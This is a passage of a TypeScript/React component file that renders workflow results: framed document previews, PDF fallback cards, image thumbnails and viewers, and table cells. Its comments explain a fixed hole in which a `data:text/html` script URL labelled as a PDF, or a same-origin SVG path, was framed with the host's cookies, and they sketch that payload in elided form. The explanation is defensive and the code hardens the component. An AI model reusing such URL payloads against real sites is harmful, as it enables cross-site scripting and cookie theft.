resolve)?.url;\n}\n\n/** The extensions a browser renders in a frame with no plugin and no library. */\nconst PREVIEWABLE_EXT_RE = /\\.(pdf|png|jpe?g|gif|webp|avif|svg)(\\?|#|$)/i;\nconst PREVIEWABLE_MIME_RE = /^(application\\/pdf|image\\/)/i;\n\n/**\n * The URL a document may be FRAMED at, which is stricter than the one it may be\n * painted or linked at.\n *\n * A frame is the one sink that turns a URL into a document with a DOM, so the\n * scheme has to be one that carries its own origin. `http:` and `https:` do.\n * `data:` does not: a `data:` document inherits the embedder's origin, which is\n * exactly how a payload's `data:text/html` reached an unsandboxed frame with the\n * host's cookies. `blob:` is excluded too — a payload cannot mint one, so\n * admitting it here would widen the sink for nothing.\n *\n * **A root-relative path carries no origin of its own either, and that is why it\n * is admitted only from the RESOLVER.** It is the embedding page's origin by\n * construction, which is exactly what the resolver case (`/api/assets/…`) wants\n * and exactly what a payload must not be handed: a payload naming\n * `/api/assets/anything.svg` got a document with a DOM on the host's origin, and\n * the type gate below admits `image/` — SVG included — so the scheme rule that\n * bans a `data:` SVG was being paid around one function later. A payload member\n * must be `http:` or `https:` to be framed; a host that resolves to a path is\n * choosing its own origin, which it is entitled to do.\n *\n * That is also the residual risk the resolver contract names: a stored object\n * served on the host's origin is a document on the host's origin, so serve it\n * with its real content type or with `Content-Disposition: attachment`. See\n * [../../docs/upload-seam.md].\n *\n * A refused scheme costs nothing a reader wanted: a raster `data:` URL is\n * painted by the image arm, and a run does not return an inline PDF.\n */\nfunction frameableUrl(candidate: PaintableUrl | undefined): string | undefined {\n if (!candidate) return undefined;\n // Safe as a prefix test only because `viewableUrl` normalised the string: an\n // accepted path starts with exactly one slash, `//host` and `/\\host` having\n // been rejected as protocol-relative.\n if (/^https?:/.test(candidate.url)) return candidate.url;\n return candidate.fromResolver && candidate.url.startsWith('/') ? candidate.url : undefined;\n}\n\n/**\n * Whether a document can be shown here, rather than only linked to.\n *\n * Two conditions, and both are necessary: the browser must be able to FRAME the\n * URL (`frameableUrl` — a `pipelex-storage://` reference resolves nowhere\n * without the host's resolver, and a `data:` document is not framed at all) and\n * to RENDER it with nothing installed. A `.docx` satisfies the first and not the\n * second, and offering a preview that opens onto a download prompt is worse than\n * offering none.\n *\n * The declared type is what decides RENDERABILITY, and reading it from the\n * payload is right — whether a preview is worth offering is a usability\n * question, and the producer is the one that knows. What the declared type may\n * no longer do is admit a URL: `{url: \"data:text/html,…\", filename: \"report.pdf\"}`\n * used to be framed on the strength of its own filename.\n */\nfunction previewableUrl(content: DocumentContentView, resolve?: ResolveUrl): string | undefined {\n const url = frameableUrl(paintable(content, resolve));\n if (!url) return undefined;\n const named = content.filename ?? url;\n const renderable = content.mimeType\n ? PREVIEWABLE_MIME_RE.test(content.mimeType)\n : PREVIEWABLE_EXT_RE.test(named);\n return renderable ? url : undefined;\n}\n\n/**\n * Whether a previewable document is a PDF, read as `previewableUrl` reads\n * renderability: the declared type when there is one, else the name's\n * extension. Only a PDF needs the browser's PDF viewer, and only a PDF that is\n * the whole result opens without a click.\n */\nfunction isPdfDocument(content: DocumentContentView, url: string): boolean {\n return content.mimeType\n ? /^application\\/pdf\\s*(;|$)/i.test(content.mimeType)\n : /\\.pdf(\\?|#|$)/i.test(content.filename ?? url);\n}\n\n/**\n * The document itself, in a frame.\n *\n * **Not the same question as `native.Html`, and the difference is the origin.**\n * Markup goes through a sandbox because injecting it into the host's document\n * would run it ON the host's origin, with the host's cookies. A URL in an\n * `<iframe>` is a separate document at its own origin — the browser's own\n * boundary, not one this package has to build.\n *\n * **That argument is sound and it used to be applied to a URL nobody had\n * checked.** A `data:` document does NOT get an origin of its own: it inherits\n * the embedder's, so `{url: \"data:text/html,<script>…\", filename: \"report.pdf\"}`\n * was framed with the host's cookies on the strength of its own filename. The\n * fix is upstream of this component — `frameableUrl` admits `http:`, `https:`\n * and a same-origin path and nothing else — because it is the SCHEME that\n * decides whether the origin boundary exists at all.\n *\n * **There is deliberately no `sandbox` attribute, and the reason is a platform\n * constraint rather than a judgement.** Measured against a same-origin PDF on\n * Chrome 152 and Firefox 155, no token set renders in both.\n *\n * Chrome renders only with the attribute ABSENT: `sandbox` sets the\n * sandboxed-plugins flag unconditionally and no token unsets it — `allow-plugins`\n * is not in the specification — and Chrome's PDF viewer is plugin content, so\n * every token set fails, `allow-same-origin allow-scripts` included. Firefox\n * fails differently: pdf.js is a JavaScript viewer rather than plugin content,\n * so it renders exactly when `allow-scripts` is granted and paints its toolbar\n * over a blank page otherwise. The intersection is empty.\n *\n * The second half is the one that survives a browser changing its mind: the\n * token Firefox needs is `allow-scripts`, and a frame sandboxed to allow only\n * script execution is worse than a frame with no sandbox attribute. So a\n * sandbox here would not harden the preview; it would delete it, or cost the\n * one token that matters to buy nothing. `frameableUrl` above is what makes the\n * frame safe. See [../../docs/result-view.md] for the whole policy.\n *\n * `no-referrer` stays: a result view has no business telling a third party where\n * it was opened from.\n *\n * The frame is a tab stop, and `FocusFrame` draws its keyboard focus, which no\n * focus selector can (see `./focus-frame`).\n *\n * **A PDF is framed only where the browser can draw one** (`usePdfViewer`).\n * Where it cannot, as on Android, the frame would be blank, so the card saying\n * so takes its place (`PdfUnavailable`). Until the browser has been asked (a\n * render on a server, and the hydration after it) a box of the frame's size\n * holds the place, so no frame is drawn only to be taken away. A picture framed\n * as a document needs no PDF viewer and is framed at once.\n */\nfunction DocumentPreview({\n url,\n name,\n pdf,\n file,\n whole,\n}: {\n url: string;\n name: string;\n /** Whether the document is a PDF, which only a PDF viewer draws. */\n pdf: boolean;\n /** The file as the download reads it, for the card's own Download. */\n file: StuffFile | undefined;\n /** The frame is the whole result, and takes a page's size (`WHOLE_RESULT_FRAME`). */\n whole: boolean;\n}) {\n const viewer = usePdfViewer();\n const size = whole ? WHOLE_RESULT_FRAME : NESTED_FRAME;\n if (pdf && viewer === 'no') return <PdfUnavailable url={url} name={name} file={file} />;\n if (pdf && viewer === 'unknown') {\n return (\n <div\n aria-hidden\n className={cn(\n size,\n 'flex items-center justify-center rounded-lg border border-border bg-card/40',\n )}\n >\n <Loader2 className=\"size-4 animate-spin text-muted-foreground\" />\n </div>\n );\n }\n return (\n <FocusFrame\n src={url}\n title={name}\n loading=\"lazy\"\n referrerPolicy=\"no-referrer\"\n className={cn(size, 'rounded-lg border border-border bg-card/40')}\n />\n );\n}\n\n/**\n * The size of a document's frame.\n *\n * Inside a larger result, opened by its toggle, it is the 28rem it always was.\n * As the whole result it is a page: as wide as the result, as tall as an A4\n * page at that width (√2 times it), so a page fitted to the width shows whole,\n * and never taller than 80% of the screen, so on a desktop the document\n * scrolls inside its frame and the reader still sees the screen around it.\n * 20rem is its floor, for a phone held sideways.\n */\nconst NESTED_FRAME = 'h-112 w-full';\nconst WHOLE_RESULT_FRAME = 'aspect-[1/1.414] max-h-[80vh] min-h-80 w-full';\n\n/**\n * In place of a PDF's frame, where the browser draws no PDF in a page.\n *\n * The file's name, a sentence saying it cannot be shown here, and the two ways\n * to it that work everywhere: a tab of its own, where a phone hands the file to\n * whatever reads PDFs on it, and the download every file has. The link is the\n * URL the frame would have had, the one `frameableUrl` admitted, and sends no\n * referrer, as nothing here does. The download is a file's own button with its\n * word beside it, so it follows the host's `downloads` setting as that button\n * does: a host that hides the file buttons leaves the card its link alone.\n */\nfunction PdfUnavailable({\n url,\n name,\n file,\n}: {\n url: string;\n name: string;\n file: StuffFile | undefined;\n}) {\n const s = useFieldStrings();\n return (\n <div className=\"flex flex-col gap-3 rounded-lg border border-border bg-card/40 px-3.5 py-3 sm:flex-row sm:items-center\">\n <div className=\"flex min-w-0 flex-1 items-start gap-2.5\">\n <FileText aria-hidden className=\"mt-0.5 size-4 shrink-0 text-muted-foreground\" />\n <div className=\"min-w-0 space-y-0.5\">\n <p title={name} className=\"truncate text-[13px] font-medium text-foreground\">\n {name}\n </p>\n <p className=\"text-[12.5px] leading-relaxed text-muted-foreground\">\n {s.pdfViewerUnavailable}\n </p>\n </div>\n </div>\n <div className=\"flex flex-wrap items-center gap-2\">\n <a\n href={url}\n target=\"_blank\"\n rel=\"noreferrer\"\n className={cn(CARD_ACTION, 'text-foreground', focusOutlineClass)}\n >\n <ExternalLink aria-hidden className=\"size-3.5\" />\n {s.openInNewTab}\n </a>\n {file && <FileDownloadButton file={file} labelled />}\n </div>\n </div>\n );\n}\n\n/**\n * A document: its name, its reference and snippet, and a preview where the\n * browser can both frame and render it.\n *\n * **A PDF that is the whole result opens without a click, in `app`.** The\n * reader of a method app came for that file, and a small toggle stood between\n * them and its pages. Opened, it has no toggle at all, since closing the only\n * thing the result holds would leave it empty. `whole` is the panel's own word\n * that this is the whole result (`PanelResult`), so a PDF in a record, a list,\n * a composite or a part a generative layout delegates keeps its toggle, closed.\n *\n * `studio` keeps the toggle on a whole result too. It is the builder's\n * presentation and the default, also mounted in a graph's node panel that a\n * builder moves through node after node; opening every PDF there would fetch\n * each one and fill a narrow panel before anyone asked, and the builder's first\n * question is usually what came back rather than what it looks like.\n */\nfunction DocumentValue({ value, whole = false }: { value: unknown; whole?: boolean }) {\n const s = useFieldStrings();\n // Above the early return: a hook after one runs conditionally, which React\n // forbids and which the `<Absent />` path would trigger on any payload\n // missing a URL.\n const resolve = useResolveUrl();\n const isApp = useFieldPresentation() === 'app';\n const [open, setOpen] = useState(false);\n const file = useStuffFile('document', value);\n const content = readDocumentContent(value);\n if (!content) return <Absent />;\n const name = content.title ?? content.filename ?? fileLabel(content.url, content.filename, s);\n const preview = previewableUrl(content, resolve);\n const pdf = preview !== undefined && isPdfDocument(content, preview);\n const opened = whole && isApp && pdf;\n return (\n <div className=\"space-y-2\">\n <div className=\"flex min-w-0 items-start gap-2.5\">\n <FileText aria-hidden className=\"mt-0.5 size-4 shrink-0 text-muted-foreground\" />\n <div className=\"min-w-0 flex-1 space-y-0.5\">\n {name && <span className=\"block truncate text-[13px] text-foreground\">{name}</span>}\n <FileRef\n url={paintableUrl(content, resolve) ?? content.url}\n storageUrl={content.url}\n mimeType={content.mimeType}\n {...(content.filename ? { filename: content.filename } : {})}\n file={file}\n />\n {content.snippet && (\n <p className=\"line-clamp-2 text-[12px] leading-relaxed text-muted-foreground\">\n {content.snippet}\n </p>\n )}\n </div>\n {preview && !opened && (\n <button\n type=\"button\"\n onClick={() => setOpen((current) => !current)}\n aria-expanded={open}\n className={cn(\n 'flex shrink-0 items-center gap-1.5 rounded-md border border-border px-2 py-1 text-[12px] text-muted-foreground hover:bg-card hover:text-foreground max-sm:min-h-11 max-sm:px-3',\n focusOutlineClass,\n )}\n >\n {open ? (\n <EyeOff aria-hidden className=\"size-3.5\" />\n ) : (\n <Eye aria-hidden className=\"size-3.5\" />\n )}\n {s.preview}\n </button>\n )}\n </div>\n {preview && (opened || open) && (\n <DocumentPreview url={preview} name={name} pdf={pdf} file={file} whole={opened} />\n )}\n </div>\n );\n}\n\n/**\n * What a smaller copy of a picture must cover, in the picture's own pixels:\n * twice the box the view draws it in, so it stays sharp on a high-density\n * screen. A gallery's tile is a square narrower than 288 CSS pixels (a column\n * is at least 140, and one twice that wide would make room for another), and\n * a table cell's thumbnail is 40 CSS pixels tall. See `ResolveRendition`.\n */\nconst TILE_RENDITION_SIDE = 576;\nconst CELL_RENDITION_HEIGHT = 80;\n/** The least a cell's copy is asked for, and all it is asked for with no shape to go on. */\nconst CELL_RENDITION_WIDTH = 256;\n\n/**\n * The width to ask a picture's copy for, from the box it is drawn in and the\n * picture's shape, when the payload states its `width` and `height`.\n *\n * A tile is square and the picture covers it, so a landscape picture is\n * scaled to the tile's HEIGHT and overflows its width: its copy has to be the\n * tile's side times its aspect ratio wide, where a portrait or a square one\n * needs the side alone. A cell's thumbnail is drawn at the cell's height and\n * its own width, so its copy is the cell's height times the aspect ratio\n * wide, and never less than `CELL_RENDITION_WIDTH`, which keeps a host making\n * copies on demand to a few widths for every picture narrower than a\n * panorama. With no stated shape the view asks the widths a square needs.\n */\nfunction renditionWidth(\n place: 'tile' | 'cell',\n content: { width?: number; height?: number },\n): number {\n const { width, height } = content;\n const ratio =\n width !== undefined && height !== undefined && width > 0 && height > 0\n ? width / height\n : undefined;\n if (place === 'tile') {\n return ratio === undefined\n ? TILE_RENDITION_SIDE\n : Math.ceil(TILE_RENDITION_SIDE * Math.max(1, ratio));\n }\n return ratio === undefined\n ? CELL_RENDITION_WIDTH\n : Math.max(CELL_RENDITION_WIDTH, Math.ceil(CELL_RENDITION_HEIGHT * ratio));\n}\n\n/**\n * The host's smaller copy of a picture the view can already paint whole, or\n * the whole picture when the host has none: the copy is asked of the\n * picture's own `url`, as the resolver is, and passes the same gate. It is the\n * `src` of a small picture and nothing else; every other use of the picture\n * (its viewer, its link, its copy control, its download) keeps `whole`.\n */\nfunction renditionUrl(\n content: { url: string },\n whole: string,\n resolveRendition: ResolveRendition | undefined,\n width: number,\n): string {\n return viewableUrl(resolveRendition?.(content.url, { width })) ?? whole;\n}\n\n/**\n * How a gallery's tile opens the gallery's viewer at its own picture, and the\n * button focus goes back to when the viewer closes.\n */\ninterface TileOpener {\n open: () => void;\n ref: React.Ref<HTMLButtonElement>;\n}\n\n/**\n * A picture, as a result shows it: a button that opens it in the viewer\n * (`./image-viewer`), with the file's controls beside it.\n *\n * It used to be a link opening the raw file in a new tab, which left the\n * result behind and, for a list, showed one picture per tab. The viewer\n * shows it large over the result and moves through a list in place; the file\n * itself is still one click away, from the viewer's \"open the original\" and,\n * in `studio` and on a lone picture, from the file's name under it.\n *\n * Where it is drawn small (a gallery's tile, a table cell's thumbnail) its box\n * is reserved before the picture arrives and the spinner sits inside it, so\n * nothing moves when it lands, and it is drawn from the host's smaller copy\n * when the host supplies one (`resolveRendition`).\n */\nfunction ImageValue({\n value,\n inGallery = false,\n inRow = false,\n compact = false,\n downloadable = true,\n opener,\n}: {\n value: unknown;\n inGallery?: boolean;\n inRow?: boolean;\n /** Rendering into a table cell: a thumbnail, not a picture. */\n compact?: boolean;\n /**\n * Whether the picture offers its own Download. A composite's member does\n * not: the whole-result download carries no file from inside a composite,\n * and a member has no place of its own in the result to name the file by.\n * Its URL can still be copied.\n */\n downloadable?: boolean;\n /** A gallery's tile: the gallery's viewer, rather than one of its own. */\n opener?: TileOpener;\n}) {\n const s = useFieldStrings();\n const presentation = useFieldPresentation();\n const resolve = useResolveUrl();\n const resolveRendition = useResolveRendition();\n const stuffFile = useStuffFile('image', value);\n const file = downloadable ? stuffFile : undefined;\n // A lone picture's own viewer. Above the early return, as every hook is.\n const [viewing, setViewing] = useState(false);\n const ownButton = useRef<HTMLButtonElement>(null);\n const frame = useRef<HTMLDivElement>(null);\n const content = readImageContent(value);\n const src = content ? paintableUrl(content, resolve) : undefined;\n // A picture that can no longer be painted closes its viewer, for good: kept\n // in state, the viewer would come back by itself when the picture did.\n if (viewing && src === undefined) setViewing(false);\n if (!content) return <Absent />;\n const place = inGallery ? 'tile' : compact ? 'cell' : undefined;\n const drawn =\n src !== undefined && place !== undefined\n ? renditionUrl(content, src, resolveRendition, renditionWidth(place, content))\n : src;\n // Named as the file's line under it names it, so a tile, its line and the\n // viewer's title agree.\n const name = src === undefined ? '' : fileLabel(src, content.filename, s);\n // A tile in `app` is the picture and the caption the payload states, and no\n // file name: a name like `22d29b4410c16562.png` under every tile tells a\n // reader nothing, and the viewer carries the name and the file's controls.\n // `studio` keeps the line, which a builder reads against the payload.\n const fileLine = src !== undefined && !compact && !(inGallery && presentation === 'app');\n const size =\n !inGallery && !compact && content.width && content.height\n ? { width: content.width, height: content.height }\n : undefined;\n return (\n <div ref={frame} className={inGallery ? 'space-y-1' : 'space-y-1.5'}>\n {src !== undefined && drawn !== undefined ? (\n // A button, not a link: the picture opens in the viewer over the\n // result. Enter and Space open it as a click does.\n <button\n ref={opener ? opener.ref : ownButton}\n type=\"button\"\n onClick={opener ? opener.open : () => setViewing(true)}\n aria-label={s.viewImage(name)}\n aria-haspopup=\"dialog\"\n className={cn(\n // BLOCK when the picture fills its column. A table cell's\n // thumbnail sizes itself, and is 44px square at the least below\n // `sm`, where it is tapped.\n compact\n ? 'inline-flex items-center justify-center align-top max-sm:min-h-11 max-sm:min-w-11'\n : 'block w-full',\n 'cursor-zoom-in',\n focusOutlineInsetClass,\n )}\n >\n <LoadingImage\n src={drawn}\n {...(drawn !== src ? { fallbackSrc: src } : {})}\n alt={content.caption ?? s.preview}\n lazy={inGallery || compact}\n {...(size ? { size } : {})}\n {...(inGallery\n ? // The tile's box is square before anything arrives, and the\n // picture covers it once it does: tiles of one size, whatever\n // the pictures' shapes, and nothing moves when one lands.\n { box: 'aspect-square w-full overflow-hidden' }\n : compact\n ? { box: 'h-10 min-w-10' }\n : {})}\n className={cn(\n inGallery && 'absolute inset-0 size-full object-cover',\n // A cell is one line tall. An image column rendered at the\n // standalone height turns every row into a picture and the\n // table into a slideshow, so a cell gets a thumbnail and the\n // row's expansion gets the picture.\n compact && 'h-10 w-auto rounded border border-border object-cover',\n // On its own: the full width it is given, capped generously in\n // height. `max-h-64` was a 256px thumbnail in a panel several\n // times that tall — a generated report image is the RESULT here,\n // not a decoration beside one, and it was unreadable at that\n // size. `object-contain` keeps the aspect ratio when the cap\n // bites, and the payload's own width and height, when it states\n // them, reserve the box before the picture arrives.\n !inGallery &&\n !compact &&\n 'h-auto max-h-176 w-full rounded-lg border border-border object-contain',\n )}\n />\n </button>\n ) : inRow ? (\n // The row variant of \"nothing to paint\": an icon and a name, exactly as\n // a document row reads, because that is what this has become.\n <div className=\"flex min-w-0 items-center gap-2.5\">\n <ImageOff aria-hidden className=\"size-4 shrink-0 text-muted-foreground\" />\n <div className=\"min-w-0 flex-1\">\n <FileRef\n url={content.url}\n mimeType={content.mimeType}\n {...(content.filename ? { filename: content.filename } : {})}\n file={file}\n />\n </div>\n </div>\n ) : inGallery ? (\n // Nothing to paint, so the tile says what it is rather than dumping a\n // ninety-character storage reference into a 140px box. This is what a\n // host with no resolver sees, so it has to be a design and not a\n // fallback.\n <div className=\"flex aspect-square w-full flex-col items-center justify-center gap-1.5 px-2 text-center\">\n <ImageOff aria-hidden className=\"size-5 text-muted-foreground\" />\n <span\n title={content.url}\n className=\"w-full truncate font-mono text-[10.5px] text-muted-foreground\"\n >\n {fileLabel(content.url, content.filename, s)}\n </span>\n </div>\n ) : (\n <FileRef\n url={content.url}\n mimeType={content.mimeType}\n {...(content.filename ? { filename: content.filename } : {})}\n file={file}\n />\n )}\n {fileLine && (\n <div className={inGallery ? 'px-2.5' : undefined}>\n <FileRef\n // `src` IS `paintableUrl(content, resolve)`, and this branch only\n // renders when it is set — so asking the gate again here would be a\n // second full pass over the same string for the same answer.\n url={src}\n storageUrl={content.url}\n mimeType={content.mimeType}\n {...(content.filename ? { filename: content.filename } : {})}\n file={file}\n />\n </div>\n )}\n {content.caption && (\n <p\n className={cn(\n 'text-[12px] leading-relaxed text-muted-foreground',\n inGallery && 'px-2.5 pb-1.5',\n )}\n >\n {content.caption}\n </p>\n )}\n {viewing && src !== undefined && (\n <ImageViewer\n pictures={[\n {\n src,\n name,\n ...(content.caption ? { caption: content.caption } : {}),\n actions: <FileActions copy={{ url: src, storageUrl: content.url }} file={file} />,\n },\n ]}\n index={0}\n onIndexChange={() => {}}\n onClose={() => setViewing(false)}\n // The picture, or when it can no longer be painted the first\n // control of the file line that replaced it.\n returnFocus={() =>\n ownButton.current ?? frame.current?.querySelector<HTMLElement>('a[href], button')\n }\n />\n )}\n </div>\n );\n}\n\n/**\n * The kinds a table cell shows WHOLE, on one line: short scalars, and a list of\n * them, drawn as chips that wrap.\n *\n * It decides how a cell draws its value and whether the row opens, not which\n * fields get a column: every column a table shows has a cell, and a value of a\n * kind left out here is drawn there in short, with the row opening onto the\n * whole of it (`isInlineColumn`).\n *\n * `prose` is deliberately absent. A paragraph in a `<td>` forces one column to\n * the width of the longest answer and drags every other row's height with it,\n * so a cell shows its first line, and a list of prose is drawn as lines rather\n * than chips.\n *\n * `object` and `list` are absent because a cell names a record and counts a\n * list of structures. `document` and `image` are absent because a file's\n * chrome (its link, its copy control, its download, a preview) does not fit a\n * line: a cell draws a picture as a thumbnail, which opens the picture's\n * viewer, and the row's detail draws the file with its controls.\n */\nconst TABULAR_KINDS = new Set<RunField['kind']>(['text', 'number', 'boolean', 'date', 'enum']);\n\n/**\n * Just the value, with no label chrome — shared by every layout.\n *\n * **It unwraps, and that is not a convenience.** Unwrapping is a property of the\n * FIELD (its `contentKey`), not of the layout that happens to be rendering it,\n * so every path has to do it: a `native.Text[]`'s entries are `TextContent`\n * records, and a chip, a line and a table cell each hold one. Leaving the unwrap\n * to the caller is what turned a list of planet names into eight rows of\n * `[object Object]` — the very failure this component exists to make impossible.\n */\nfunction LeafValue({\n field,\n value: raw,\n compact = false,\n}: {\n field: RunField;\n value: unknown;\n /** Rendering into a table cell: one line, no preserved newlines. */\n compact?: boolean;\n}) {\n const value = unwrap(field, raw);\n switch (field.kind) {\n case 'list': {\n const entries = Array.isArray(value) ? value : [];\n // A short scalar list inside a cell: chips wrap, so a column of them stays\n // a column. A list of STRUCTURES cannot be a cell at any width, so it says\n // how many there are and the row's detail shows them - the cell states the\n // fact, the expansion carries the content.\n return TABULAR_KINDS.has(field.item.kind) ? (\n <ScalarChips field={field.item} items={entries} />\n ) : (\n <ItemCount count={entries.length} />\n );\n }\n case 'prose':\n // Prose is TYPESET, not just printed: what fills a `prose` slot is a\n // model's answer, and those answers are markdown. Rendered as plain text\n // a heading is a literal `#` and emphasis is a pair of asterisks, which\n // is a wrong rendering rather than a neutral one. See `markdown.tsx`.\n //\n // Not in a cell, though. `compact` means a table cell or a chip, where\n // the whole point is one line and the row expands for the rest - a\n // heading, a list and a table have no business in there, and the plain\n // string is the right thing at that size.\n return compact ? (\n <Scalar value={value} compact />\n ) : typeof value === 'string' && value !== '' ? (\n <Markdown text={value} />\n ) : (\n <Scalar value={value} />\n );\n case 'boolean':\n return <Bool value={value} compact={compact} />;\n case 'date':\n return <DateValue value={value} />;\n case 'document':\n return <DocumentValue value={value} />;\n case 'image':\n return <ImageValue value={value} compact={compact} />;\n case 'object':\n // In a cell, a record is NAMED rather than printed. Anywhere else it never\n // reaches here - `ResultField` lays a record out as its own grid - so the\n // non-compact arm is only the payload-disagrees floor every kind has.\n return compact ? <RecordSummary field={field} value={value} /> : <Scalar value={value} />;\n case 'enum':\n return <EnumValue field={field} value={value} compact={compact} />;\n default:\n return <Scalar value={value} compact={compact} />;\n }\n}\n\n/**\n * A record in a table cell, as the one line that names it.\n *\n * A structure is not a cell at any width, and the row expands to the whole of\n * it. What the cell showed until then was the default `Scalar`, which for an\n * object is its JSON: the collapsed table - what a person reads FIRST - said\n * `{ \"candidate_name\": \"Amara Okafor\", \"criterion_s…` down one column and\n * `{ \"subje…` down the next.\n *\n * What names a record is the descriptor's to say, not the value's: its first\n * `text` field in authored order (`candidate_name`, `subject`), else its first\n * `prose` field, shown as that field's own cell would show it. The pick is made\n * on the field list alone, so every row of a column is named by the same field\n * and an empty one reads as that field's absence. A record with neither says how\n * many fields it holds, as a nested list says how many entries.\n *\n * Two concepts are not records to a reader. A `native.Date` is a date, read by\n * the arm that reads one. `native.Html`'s first text field is its markup source,\n * which is exactly what a result view must not print, so it takes the count. In\n * `app`, a verdict (`native.YesNo`, `native.Rating`, `native.Choice`) is named\n * by its answer, as the verdict arm shows it.\n */\nfunction RecordSummary({ field, value }: { field: ObjectRunField; value: unknown }) {\n const s = useFieldStrings();\n const presentation = useFieldPresentation();\n if (isNativeDateNode(field)) return <DateValue value={value} />;\n // A verdict in `app` is named by its answer, as the verdict arm draws it.\n const verdict = presentation === 'app' ? nativeVerdictOf(field) : undefined;\n const reading = verdict ? readVerdict(verdict, value, s) : undefined;\n if (reading) {\n return <span className=\"whitespace-nowrap text-[13px] text-foreground\">{reading.answer}</span>;\n }\n if (!isRecord(value) || Object.keys(value).length === 0) return <Absent />;\n const naming = isNativeHtmlNode(field)\n ? undefined\n : (recordNameField(field.fields) ?? field.fields.find((member) => member.kind === 'prose'));\n if (naming === undefined) {\n return (\n <span className=\"whitespace-nowrap text-[12.5px] text-muted-foreground\">\n {s.fieldsCount(field.fields.length)}\n </span>\n );\n }\n return <LeafValue field={naming} value={ownProp(value, naming.name)} compact />;\n}\n\n/**\n * An image that says it is coming.\n *\n * A run's images are fetched through the host's own route, and a generated PNG\n * on a cold cache takes long enough that the panel sat blank — indistinguishable\n * from the broken-image state it had just stopped being. A spinner is the\n * difference between \"loading\" and \"failed\", and those are the two states a\n * reader is actually trying to tell apart here.\n *\n * The `<img>` is mounted the whole time and only hidden, never swapped: React\n * would otherwise remount it on each state change and restart the download.\n * `onError` clears the spinner too — a failure that spins forever is the worst\n * of the three states.\n *\n * **Where the box comes from decides whether anything moves.** With a `box`,\n * the caller sizes the box (a gallery's square tile, a cell's 40px line) and\n * the picture fills it, so the spinner sits inside a box that is already the\n * size it will be. With a `size`, the payload's own width and height give the\n * picture its proportions before it arrives. With neither, nothing knows the\n * picture's height until it lands, so the spinner holds a minimum height and\n * the box settles once.\n *\n * A `fallbackSrc` is the whole picture behind a smaller copy (`src`): a copy\n * that fails to load gives way to it, so a host's missing copy costs the\n * reader the wait and never the picture.\n */\nfunction LoadingImage({\n src,\n fallbackSrc,\n alt,\n className,\n box,\n size,\n lazy = false,\n}: {\n src: string;\n fallbackSrc?: string;\n alt: string;\n className?: string;\n /** The classes that size the box the picture fills, when the caller sizes it. */\n box?: string;\n /** The picture's own width and height, when the payload states them. */\n size?: { width: number; height: number };\n /** Drawn below the fold in a list of them: leave it to the browser to fetch when near. */\n lazy?: boolean;\n}) {\n const [state, setState] = useState<'loading' | 'done'>('loading');\n const [current, setCurrent] = useState({ src, fallbackSrc });\n const [shown, setShown] = useState(src);\n if (current.src !== src || current.fallbackSrc !== fallbackSrc) {\n // A different `src` is a different picture, drawn from its copy again. A\n // different `fallbackSrc` behind the same copy is the whole picture under\n // a new URL (a host re-presigning one that expired): it replaces the old\n // one where the old one is drawn, after the copy failed, and waits\n // otherwise, since the copy is what is drawn.\n const next =\n current.src !== src ? src : shown === current.fallbackSrc ? (fallbackSrc ?? src) : shown;\n setCurrent({ src, fallbackSrc });\n // Only a new URL loads, and only a load ends the spinner: an unchanged\n // `<img>` fires nothing, so it keeps the state it has.\n if (next !== shown) {\n setShown(next);\n setState('loading');\n }\n }\n const reserved = box !== undefined || size !== undefined;\n return (\n <span className={cn('relative block', box)}>\n {state === 'loading' && (\n <span\n role=\"status\"\n aria-label={alt}\n className={cn(\n 'absolute inset-0 flex items-center justify-center',\n // A box the caller drew is the frame; anything else gets one.\n box ? 'bg-muted/40' : 'rounded-lg border border-border bg-card/40',\n )}\n >\n <Loader2 aria-hidden className=\"size-4 animate-spin text-muted-foreground\" />\n </span>\n )}\n <img\n src={shown}\n alt={alt}\n // A result view has no business telling a third party where it was\n // opened from, and a payload's image URL is a third party by default.\n // The document frame has said so since it was written; every `<img>`\n // this package paints says it now too.\n referrerPolicy=\"no-referrer\"\n decoding=\"async\"\n {...(lazy ? { loading: 'lazy' as const } : {})}\n {...(size ? { width: size.width, height: size.height } : {})}\n onLoad={() => setState('done')}\n onError={() => {\n if (fallbackSrc !== undefined && shown !== fallbackSrc) setShown(fallbackSrc);\n else setState('done');\n }}\n className={cn(\n className,\n state === 'loading' && (reserved ? 'opacity-0' : 'min-h-40 opacity-0'),\n )}\n />\n </span>\n );\n}\n\n/**\n * A list of SCALARS, inline.\n *\n * Rendering `[\"optics\", \"calibration\"]` as two bordered cards with index numbers\n * spends a screenful of chrome on two words. Chips say the same thing in one\n * line, and the index a card carried was never information here — the entries of\n * a scalar list are the values, and they identify themselves.\n */\nfunction ScalarChips({ field, items }: { field: RunField; items: readonly unknown[] }) {\n return (\n // `data-chips` is the hook the definition grid's value cell reaches through:\n // the cell ends its VALUE at the right edge, and a row of tags long enough\n // to wrap fills the column, so without the hook each line of tags would\n // start at the left while every value beside it ended at the right. The attribute keeps that one selector out of this component's own\n // class list - chips are laid out the same way everywhere, and only the\n // caller knows which edge they should end on.\n <div data-chips className=\"flex flex-wrap gap-1.5\">\n {items.map((item, index) => (\n <span\n key={index}\n className=\"rounded-md border border-border bg-card/40 px-2 py-0.5 text-[12.5px] text-foreground\"\n >\n <LeafValue field={field} value={item} />\n </span>\n ))}\n </div>\n );\n}\n\n/**\n * A list of objects of ONE shape, as the table it is.\n *\n * Every entry has the same keys, so the labels are column headers rather than\n * per-row labels — repeating them down the page is what made a fifteen-entry\n * result read as fifteen forms. The description and the type pill move to the\n * header too: on an INPUT they are guidance a person needs before typing, and on\n * a result they are the same sentence fifteen times. The description stays\n * reachable as the header's `title`, which is the honest place for a fact that\n * is worth having and not worth repeating.\n */\n/** How many entries a cell stands for, when the entries themselves cannot fit. */\nfunction ItemCount({ count }: { count: number }) {\n const s = useFieldStrings();\n return (\n <span className=\"whitespace-nowrap text-[12.5px] text-muted-foreground\">\n {s.itemsCount(count)}\n </span>\n );\n}\n\n/**\n * Whether a column is shown WHOLE in its cell.\n *\n * A short scalar is, and so is a list of them (chips wrap). Prose is not — it is\n * the standard's way of saying \"this may be long\", so a cell shows its first\n * line. A structure is not, at any width.\n */\nfunction isInlineColumn(field: RunField): boolean {\n if (field.kind === 'list') return TABULAR_KINDS.has(field.item.kind);\n return TABULAR_KINDS.has(field.kind);\n}\n\n/**\n * Beyond this a cell is a truncation rather than a value, so its row needs a way\n * to open. Chosen as roughly what fits one line of a table column at this size.\n */\nconst CELL_LENGTH_LIMIT = 80;\n\n/**\n * The chevron column's width, stated ONCE because three places need to agree\n * on it: the header cell that reserves it, the pinned width of an open row's\n * detail panel, which begins after it and must therefore be that much narrower,\n * and the share of 